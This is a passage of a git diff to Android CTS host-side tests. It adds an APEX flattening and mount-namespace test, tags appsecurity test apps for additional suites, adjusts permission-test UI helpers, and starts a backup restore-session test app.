+    srcs: ["src/**/*.java"],
+    test_suites: ["cts", "general-tests", "mts"],
+    libs: ["cts-tradefed", "tradefed"],
+}
diff --git a/hostsidetests/apex/AndroidTest.xml b/hostsidetests/apex/AndroidTest.xml
new file mode 100644
index 0000000..96aa5a5
--- /dev/null
+++ b/hostsidetests/apex/AndroidTest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Apex Test">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="jar" value="CtsApexTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/apex/OWNERS b/hostsidetests/apex/OWNERS
new file mode 100644
index 0000000..ab2dd6e
--- /dev/null
+++ b/hostsidetests/apex/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 494373
+include platform/system/apex:/OWNERS
diff --git a/hostsidetests/apex/TEST_MAPPING b/hostsidetests/apex/TEST_MAPPING
new file mode 100644
index 0000000..601abc0
--- /dev/null
+++ b/hostsidetests/apex/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsApexTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
new file mode 100644
index 0000000..5c9df98
--- /dev/null
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.apex.cts;
+
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.util.CommandResult;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ApexTest extends BaseHostJUnit4Test {
+  private boolean isApexUpdatable() throws Exception {
+    return Boolean.parseBoolean(getDevice().getProperty("ro.apex.updatable"));
+  }
+
+  /**
+   * Ensures that the built-in APEXes are all with flattened APEXes
+   * or non-flattend APEXes. Mixture of them is not supported and thus
+   * not allowed.
+   */
+  @Test
+  public void testApexType() throws Exception {
+    String[] builtinDirs = {
+      "/system/apex",
+      "/product/apex",
+      "/vendor/apex"
+    };
+
+    int numFlattenedApexes = 0;
+    int numNonFlattenedApexes = 0;
+    for (String dir : builtinDirs) {
+      numFlattenedApexes += countFlattenedApexes(dir);
+      numNonFlattenedApexes += countNonFlattenedApexes(dir);
+    }
+
+    Assert.assertTrue(
+        "No APEX found",
+        (numFlattenedApexes + numNonFlattenedApexes) != 0);
+
+    if (isApexUpdatable()) {
+      Assert.assertTrue(numFlattenedApexes +
+          " flattened APEX(es) found on a device supporting updatable APEX",
+          numFlattenedApexes == 0);
+    } else {
+      Assert.assertTrue(numNonFlattenedApexes +
+          " non-flattened APEX(es) found on a device not supporting updatable APEX",
+          numNonFlattenedApexes == 0);
+    }
+  }
+
+  // CTS shim APEX can be non-flattened - even when ro.apex.updatable=false.
+  // Don't count it.
+  private final static String CTS_SHIM_APEX_NAME = "com.android.apex.cts.shim";
+
+  private int countFlattenedApexes(String dir) throws Exception {
+    CommandResult result = getDevice().executeShellV2Command(
+        "find " + dir + " -type f -name \"apex_manifest.json\" ! -path \"*" +
+        CTS_SHIM_APEX_NAME + "*\" | wc -l");
+    return result.getExitCode() == 0 ? Integer.parseInt(result.getStdout().trim()) : 0;
+  }
+
+  private int countNonFlattenedApexes(String dir) throws Exception {
+    CommandResult result = getDevice().executeShellV2Command(
+        "find " + dir + " -type f -name \"*.apex\" ! -name \"" +
+        CTS_SHIM_APEX_NAME + ".apex\" | wc -l");
+    return result.getExitCode() == 0 ? Integer.parseInt(result.getStdout().trim()) : 0;
+  }
+
+  /**
+   * Ensures that pre-apexd processes (e.g. vold) and post-apexd processes (e.g. init) are using
+   * different mount namespaces (in case of ro.apexd.updatable is true), or not.
+   */
+  @Test
+  public void testMountNamespaces() throws Exception {
+    final int rootMountIdOfInit = getMountEntry("1", "/").mountId;
+    final int rootMountIdOfVold = getMountEntry("$(pidof vold)", "/").mountId;
+    if (isApexUpdatable()) {
+      Assert.assertNotEquals("device supports updatable APEX, but is not using multiple mount namespaces",
+          rootMountIdOfInit, rootMountIdOfVold);
+    } else {
+      Assert.assertEquals("device doesn't support updatable APEX, but is using multiple mount namespaces",
+          rootMountIdOfInit, rootMountIdOfVold);
+    }
+  }
+
+  private static class MountEntry {
+    public final int mountId;
+    public final String mountPoint;
+
+    public MountEntry(String mountInfoLine) {
+      String[] tokens = mountInfoLine.split(" ");
+      if (tokens.length < 5) {
+        throw new RuntimeException(mountInfoLine + " doesn't seem to be from mountinfo");
+      }
+      mountId = Integer.parseInt(tokens[0]);
+      mountPoint = tokens[4];
+    }
+  }
+
+  private String[] readMountInfo(String pidExpression) throws Exception {
+    CommandResult result = getDevice().executeShellV2Command(
+        "cat /proc/" + pidExpression + "/mountinfo");
+    if (result.getExitCode() != 0) {
+      throw new RuntimeException("failed to read mountinfo for " + pidExpression);
+    }
+    return result.getStdout().trim().split("\n");
+  }
+
+  private MountEntry getMountEntry(String pidExpression, String mountPoint) throws Exception {
+    return Arrays.asList(readMountInfo(pidExpression)).stream()
+        .map(MountEntry::new)
+        .filter(entry -> mountPoint.equals(entry.mountPoint)).findAny().get();
+  }
+}
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 392ccb6..37cd28c 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.appsecurity
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts sts
 
 LOCAL_REQUIRED_MODULES := \
 	CtsCorruptApkTests_b71360999 \
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 46ee46f..008eea4 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -23,6 +23,7 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.SecurityTest;
 
 import com.android.ddmlib.Log;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -224,6 +225,7 @@
      */
     @Test
     @AppModeFull(reason = "Only the platform can define permissions obtainable by instant applications")
+    @SecurityTest
     public void testPermissionDiffCert() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
         try {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
index 2597020..2197a66 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AuthBoundKeyTest.java
@@ -52,7 +52,7 @@
         new InstallMultiple().addApk(APK).run();
         getDevice().executeShellCommand("cmd lock_settings set-pin 1234");
         runDeviceTests(PKG, CLASS, "testGenerateAuthBoundKey");
-        getDevice().executeShellCommand("cmd lock_settings clear --old 1234 --user 0");
+        getDevice().executeShellCommand("cmd lock_settings clear --old 1234");
         runDeviceTests(PKG, CLASS, "testUseKey");
         getDevice().executeShellCommand("cmd lock_settings set-pin 12345");
         getDevice().executeShellCommand("input keyevent 26");  // Screen on
@@ -63,7 +63,7 @@
         try {
             runDeviceTests(PKG, CLASS, "testUseKey");
         } finally {
-            getDevice().executeShellCommand("cmd lock_settings clear --old 12345 --user 0");
+            getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
         }
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/Android.mk b/hostsidetests/appsecurity/test-apps/Android.mk
index f697a59..24249f2 100644
--- a/hostsidetests/appsecurity/test-apps/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
index 3426f22..fa68a6d 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -22,6 +22,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     dex_preopt: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index fcee875..15c8db5 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -34,6 +34,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
index 21462ff..09a4d81 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
@@ -154,7 +154,8 @@
     protected boolean supportedHardware() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
         if (pm.hasSystemFeature("android.hardware.type.television")
-                || pm.hasSystemFeature("android.hardware.type.watch")) {
+                || pm.hasSystemFeature("android.hardware.type.watch")
+                || pm.hasSystemFeature("android.hardware.type.automotive")) {
             return false;
         }
         return true;
@@ -162,7 +163,8 @@
 
     protected boolean supportedHardwareForScopedDirectoryAccess() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        if (pm.hasSystemFeature("android.hardware.type.watch")
+        if (pm.hasSystemFeature("android.hardware.type.television")
+                || pm.hasSystemFeature("android.hardware.type.watch")
                 || pm.hasSystemFeature("android.hardware.type.automotive")) {
             return false;
         }
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index eb4dbd3..f1f9f58 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -30,6 +30,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
index 355fe26..24043ad 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     optimize: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
index 753977b..be8b785 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -169,13 +169,11 @@
 
     public static List<File> getAllPackageSpecificObbGiftPaths(Context context,
             String targetPackageName) {
-        final File[] files = context.getObbDirs();
         final List<File> targetFiles = new ArrayList<>();
-        for (File file : files) {
-            final File targetFile = new File(
-                    file.getAbsolutePath().replace(context.getPackageName(), targetPackageName));
-            targetFiles.add(new File(targetFile, targetPackageName + ".gift"));
-        }
+        final File obbDir = context.getObbDir();
+        final File targetObbDir = new File(
+                obbDir.getAbsolutePath().replace(context.getPackageName(), targetPackageName));
+        targetFiles.add(new File(targetObbDir, targetPackageName + ".gift"));
         return targetFiles;
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
index b52a0b0..8973288 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -23,6 +23,7 @@
         "cts",
         "vts",
         "general-tests",
+        "sts",
     ],
     // sign this app with a different cert than CtsUsePermissionDiffCert
     certificate: ":cts-testkey1",
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
index 2a86949..3e460cb 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
@@ -23,6 +23,7 @@
         "cts",
         "vts",
         "general-tests",
+        "sts",
     ],
     // sign this app with a different cert than CtsUsePermissionDiffCert
     certificate: ":cts-testkey1",
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
index d2cfed1..d905c42 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
@@ -29,6 +29,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     optimize: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/Android.mk b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/Android.mk
index 75e092b..4138c00 100644
--- a/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/Android.mk
@@ -39,7 +39,7 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
index 4d3e4f6..09a21ce 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
@@ -27,5 +27,6 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 }
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index de7c837..15aa05e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -514,7 +514,7 @@
         // enforcement, so we verify that total/free space are identical.
         final long totalDelta = Math.abs(current.getTotalSpace() - primary.getTotalSpace());
         final long freeDelta = Math.abs(current.getFreeSpace() - primary.getFreeSpace());
-        if (totalDelta > MB_IN_BYTES || freeDelta > MB_IN_BYTES) {
+        if (totalDelta > MB_IN_BYTES * 300 || freeDelta > MB_IN_BYTES * 300) {
             fail("Expected primary storage to be on same volume as app");
         }
     }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index cdebf31..1785d24 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index 5665c41..db26ba1 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -36,7 +36,7 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 2723a6d..f898989 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -38,6 +38,7 @@
 import android.support.test.uiautomator.Direction;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
@@ -366,6 +367,17 @@
         }
     }
 
+    private boolean scrollToAndGetTextObject(String text) {
+        UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
+        try {
+            // Swipe far away from the edges to avoid not triggering swipes
+            scroller.setSwipeDeadZonePercentage(0.25);
+            return scroller.scrollTextIntoView(text);
+        } catch (UiObjectNotFoundException e) {
+            throw new AssertionError("View with text '" + text + "' was not found!", e);
+        }
+    }
+
     private void setPermissionGrantState(String[] permissions, boolean granted,
             boolean legacyApp) throws Exception {
         getUiDevice().pressBack();
@@ -403,15 +415,16 @@
         for (String permission : permissions) {
             // Find the permission screen
             String permissionLabel = getPermissionLabel(permission);
+            scrollToAndGetTextObject(permissionLabel);
 
             UiObject2 permissionView = null;
             long start = System.currentTimeMillis();
             while (permissionView == null && start + RETRY_TIMEOUT > System.currentTimeMillis()) {
                 permissionView = getUiDevice().wait(Until.findObject(By.text(permissionLabel)),
-                        GLOBAL_TIMEOUT_MILLIS);
+                        IDLE_TIMEOUT_MILLIS);
 
                 if (permissionView == null) {
-                    getUiDevice().findObject(By.res("android:id/list_container"))
+                    getUiDevice().findObject(By.scrollable(true))
                             .scroll(Direction.DOWN, 1);
                 }
             }
@@ -500,7 +513,15 @@
     }
 
     private static AccessibilityNodeInfo findByText(AccessibilityNodeInfo root, String text) {
+        if (root == null) {
+            return null;
+        }
         List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText(text);
+        PackageManager packageManager = InstrumentationRegistry.getTargetContext().getPackageManager();
+        boolean isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
+        if (isWatch) {
+            return findByTextForWatch(root, text);
+        }
         for (AccessibilityNodeInfo node : nodes) {
             if (node.getText().toString().equals(text)) {
                 return node;
@@ -509,6 +530,21 @@
         return null;
     }
 
+    private static AccessibilityNodeInfo findByTextForWatch(AccessibilityNodeInfo root, String text) {
+        String trimmedText = trimText(text);
+        List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText(trimmedText);
+        for (AccessibilityNodeInfo node : nodes) {
+            if (trimText(node.getText().toString()).equals(trimmedText)) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    private static String trimText(String text) {
+        return text != null ? text.substring(0, Math.min(text.length(), 20)) : null;
+    }
+
     private static AccessibilityNodeInfo findByTextInCollection(AccessibilityNodeInfo root,
             String text)  throws Exception {
         AccessibilityNodeInfo result;
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
index 2a55f5b..6876c29 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
@@ -37,7 +37,7 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
index f3fa527..0cc4a1d 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
@@ -35,7 +35,7 @@
 LOCAL_MIN_SDK_VERSION := 26
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/Android.mk
index 7fa6474..5dd1640 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/Android.mk
@@ -36,7 +36,7 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/Android.mk
index e47b61f..431fe47 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/Android.mk
@@ -36,7 +36,7 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
index 6becbc8..f39527f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
@@ -37,7 +37,7 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index 9233605..e5a8a89 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # sign this app with a different cert than CtsPermissionDeclareApp
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
index f2e6872..6929826 100644
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
@@ -20,6 +20,7 @@
         "cts",
         "vts",
         "general-tests",
+        "sts",
     ],
     srcs: ["src/**/*.java"],
     sdk_version: "current",
diff --git a/hostsidetests/appsecurity/test-apps/dummyime/Android.bp b/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
index 931550d..b081ec5 100644
--- a/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/backup/OWNERS b/hostsidetests/backup/OWNERS
index 3637e32..c28c4d8 100644
--- a/hostsidetests/backup/OWNERS
+++ b/hostsidetests/backup/OWNERS
@@ -1,3 +1,4 @@
+# Bug component: 41666
 # Use this reviewer by default.
 br-framework-team+reviews@google.com
 
diff --git a/hostsidetests/backup/RestoreSessionTest/Android.bp b/hostsidetests/backup/RestoreSessionTest/Android.bp
new file mode 100644
index 0000000..a3ac883
--- /dev/null
+++ b/hostsidetests/backup/RestoreSessionTest/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsRestoreSessionApp",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+        "truth-prebuilt",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "system_current",
+}
diff --git a/hostsidetests/backup/RestoreSessionTest/AndroidManifest.xml b/hostsidetests/backup/RestoreSessionTest/AndroidManifest.xml
new file mode 100644
index 0000000..130e3aa
--- /dev/null
+++ b/hostsidetests/backup/RestoreSessionTest/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the Licensea
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.restoresessionapp">
+
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="26"/>
+
+    <application
+        android:label="RestoreSessionApp"
+        android:allowBackup="true">
+
